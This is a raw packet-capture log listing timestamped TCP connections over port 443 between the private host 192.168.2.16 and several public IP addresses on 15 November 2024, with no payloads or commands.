Nov 15, 2024 11:24:43.897013903 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.897043943 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.905055046 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.905101061 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.905143023 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.905169010 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.905188084 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.905215979 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.974400997 CET	443	49793	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:43.974567890 CET	49793	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:43.974750042 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.974809885 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.974847078 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.974879980 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:43.974899054 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.974921942 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:43.977112055 CET	443	49793	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:43.977288008 CET	49793	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:43.981690884 CET	49793	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:43.981745005 CET	443	49793	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:43.982181072 CET	443	49793	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:43.982347965 CET	49793	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:43.982697964 CET	49793	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.000783920 CET	443	49795	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:44.000885963 CET	49795	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.002635002 CET	443	49794	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:44.002701998 CET	49794	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.002938032 CET	49795	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.002943993 CET	443	49795	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:44.003452063 CET	443	49795	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:44.003509998 CET	49795	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.003717899 CET	443	49794	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:44.003774881 CET	49794	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.003915071 CET	49795	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.005634069 CET	49794	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.005640030 CET	443	49794	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:44.005983114 CET	443	49794	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:44.006036997 CET	49794	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.006372929 CET	49794	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.014062881 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.014108896 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.014139891 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.014173031 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.014192104 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.014218092 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.020886898 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.020930052 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.020988941 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.021035910 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.021358013 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.027415037 CET	443	49793	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:44.051340103 CET	443	49794	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:44.051356077 CET	443	49795	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:44.091131926 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.091197014 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.091262102 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.091351986 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.091394901 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.091417074 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.094337940 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.094388008 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.094434977 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.094459057 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.094489098 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.094516993 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.137326956 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.137396097 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.137455940 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.137537003 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.137579918 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.137603045 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.169677973 CET	443	49796	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:44.170059919 CET	49796	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.171684980 CET	49796	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.171740055 CET	443	49796	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:44.172178984 CET	443	49796	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:44.172352076 CET	49796	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.172785997 CET	49796	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.178575039 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.178603888 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.178689957 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.178720951 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.178774118 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.210567951 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.210612059 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.210666895 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.210733891 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.210786104 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.210809946 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.219377041 CET	443	49796	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:44.249427080 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.249494076 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.249558926 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.249615908 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.249692917 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.253540993 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.255522013 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.255548000 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.255618095 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.255680084 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.255770922 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.326720953 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.326755047 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.326821089 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.326885939 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.326920986 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.326942921 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.329659939 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.329693079 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.329771042 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.329771042 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.329796076 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.329854012 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.353437901 CET	443	49793	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:44.353820086 CET	49793	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.353880882 CET	443	49793	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:44.353966951 CET	49793	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.354046106 CET	49793	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.354147911 CET	443	49793	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:44.354223967 CET	49793	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.354681969 CET	49798	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.354729891 CET	443	49798	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:44.354809046 CET	49798	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.355089903 CET	49798	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.355103016 CET	443	49798	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:44.371737957 CET	443	49794	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:44.371759892 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.371823072 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.372086048 CET	49794	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.372109890 CET	443	49794	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:44.372114897 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.372114897 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.372147083 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.372206926 CET	49794	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.372252941 CET	49794	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.372400045 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.372531891 CET	443	49794	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:44.372601032 CET	49794	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.372751951 CET	49799	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.372847080 CET	443	49799	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:44.372966051 CET	49799	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.373197079 CET	49799	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.373248100 CET	443	49799	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:44.375006914 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.375049114 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.375082970 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.375114918 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.375132084 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.375163078 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.432126045 CET	443	49795	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:44.432221889 CET	443	49795	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:44.432251930 CET	49795	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.432281017 CET	443	49795	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:44.432415962 CET	49795	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.432415962 CET	49795	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.432425022 CET	443	49795	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:44.432461977 CET	49795	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.440758944 CET	49795	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.440912962 CET	443	49795	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:44.440989971 CET	49795	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.441478014 CET	49800	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.441546917 CET	443	49800	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:44.441638947 CET	49800	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.441898108 CET	49800	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.441934109 CET	443	49800	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:44.444017887 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.444076061 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.444113970 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.444179058 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.444227934 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.444227934 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.447249889 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.447293997 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.447366953 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.447366953 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.447390079 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.447437048 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.489397049 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.489456892 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.489713907 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.489713907 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.489746094 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.489944935 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.492187977 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.492229939 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.492284060 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.492352009 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.492389917 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.492413998 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.561909914 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.561969042 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.562158108 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.562158108 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.562222004 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.562280893 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.563915014 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.563997984 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.564011097 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.564083099 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.564121008 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.564145088 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.564151049 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.564198971 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.564659119 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.564673901 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.564690113 CET	49781	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:44.564696074 CET	443	49781	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:44.583956957 CET	443	49796	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:44.584033966 CET	443	49796	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:44.584053993 CET	49796	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.584124088 CET	443	49796	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:44.584157944 CET	49796	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.584182024 CET	49796	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.584847927 CET	49796	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.584932089 CET	443	49796	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:44.584996939 CET	49796	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.585500002 CET	49801	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.585588932 CET	443	49801	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:44.585691929 CET	49801	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.585875988 CET	49801	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.585895061 CET	443	49801	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:44.652841091 CET	49798	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.652889013 CET	49799	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.652997017 CET	49800	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.653074026 CET	49801	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:44.653311014 CET	49802	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.653372049 CET	443	49802	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:44.653450012 CET	49802	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.777602911 CET	49803	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.777693033 CET	443	49803	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:44.777774096 CET	49803	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.777853012 CET	49802	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.777931929 CET	443	49802	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:44.778182030 CET	49803	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:44.778214931 CET	443	49803	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:45.630949020 CET	443	49802	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:45.631052017 CET	49802	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:45.631742001 CET	443	49802	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:45.631803989 CET	49802	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:45.635963917 CET	49802	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:45.635993004 CET	443	49802	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:45.636245012 CET	443	49802	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:45.636302948 CET	49802	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:45.636763096 CET	49802	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:45.639909983 CET	443	49803	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:45.639997005 CET	49803	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:45.640991926 CET	443	49803	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:45.641056061 CET	49803	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:45.642884970 CET	49803	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:45.642895937 CET	443	49803	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:45.643227100 CET	443	49803	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:45.643289089 CET	49803	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:45.643685102 CET	49803	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:45.683341026 CET	443	49802	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:45.691339016 CET	443	49803	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:45.996328115 CET	443	49802	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:45.996400118 CET	49802	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:45.996433973 CET	443	49802	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:45.996486902 CET	49802	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:45.996608019 CET	49802	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:45.996665955 CET	443	49802	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:45.996728897 CET	49802	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:45.997246027 CET	49807	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:45.997286081 CET	443	49807	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:45.997370005 CET	49807	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:45.997407913 CET	49808	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:45.997469902 CET	443	49808	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:45.997592926 CET	49807	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:45.997602940 CET	443	49807	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:45.997627974 CET	49808	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:45.997992992 CET	49808	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:45.998019934 CET	443	49808	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:46.012012959 CET	443	49803	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:46.012734890 CET	49803	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:46.012759924 CET	443	49803	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:46.012813091 CET	49803	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:46.012845993 CET	49803	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:46.013035059 CET	443	49803	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:46.013233900 CET	443	49803	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:46.013290882 CET	49803	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:46.013314962 CET	49803	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:46.013407946 CET	49810	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:46.013407946 CET	49809	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:46.013441086 CET	443	49810	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:46.013454914 CET	443	49809	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:46.013504028 CET	49810	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:46.013530970 CET	49809	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:46.013791084 CET	49810	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:46.013808966 CET	443	49810	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:46.013890028 CET	49809	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:46.013902903 CET	443	49809	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:46.845752954 CET	443	49808	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:46.845859051 CET	49808	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:46.851008892 CET	49808	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:46.851038933 CET	443	49808	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:46.851461887 CET	443	49808	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:46.851531029 CET	49808	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:46.851910114 CET	49808	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:46.858381987 CET	443	49807	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:46.858469963 CET	49807	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:46.859483004 CET	443	49807	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:46.859554052 CET	49807	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:46.863960028 CET	49807	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:46.863977909 CET	443	49807	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:46.864341974 CET	443	49807	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:46.864402056 CET	49807	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:46.864908934 CET	49807	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:46.877996922 CET	443	49810	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:46.878087044 CET	49810	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:46.880690098 CET	443	49810	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:46.880753994 CET	49810	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:46.882164001 CET	49810	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:46.882184029 CET	443	49810	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:46.882668018 CET	443	49810	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:46.882726908 CET	49810	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:46.883090973 CET	49810	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:46.892847061 CET	443	49809	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:46.892918110 CET	49809	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:46.894197941 CET	49809	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:46.894211054 CET	443	49809	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:46.894454956 CET	443	49809	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:46.894506931 CET	49809	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:46.894845009 CET	49809	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:46.899334908 CET	443	49808	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:46.911320925 CET	443	49807	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:46.927339077 CET	443	49810	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:46.935345888 CET	443	49809	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:47.225852966 CET	443	49807	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:47.225946903 CET	49807	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:47.226073980 CET	49807	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:47.226176023 CET	443	49807	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:47.226247072 CET	49807	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:47.226620913 CET	49811	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:47.226713896 CET	443	49811	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:47.226799011 CET	49811	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:47.227057934 CET	49811	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:47.227094889 CET	443	49811	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:47.247190952 CET	443	49810	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:47.247272015 CET	49810	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:47.247294903 CET	443	49810	142.250.185.78	192.168.2.16
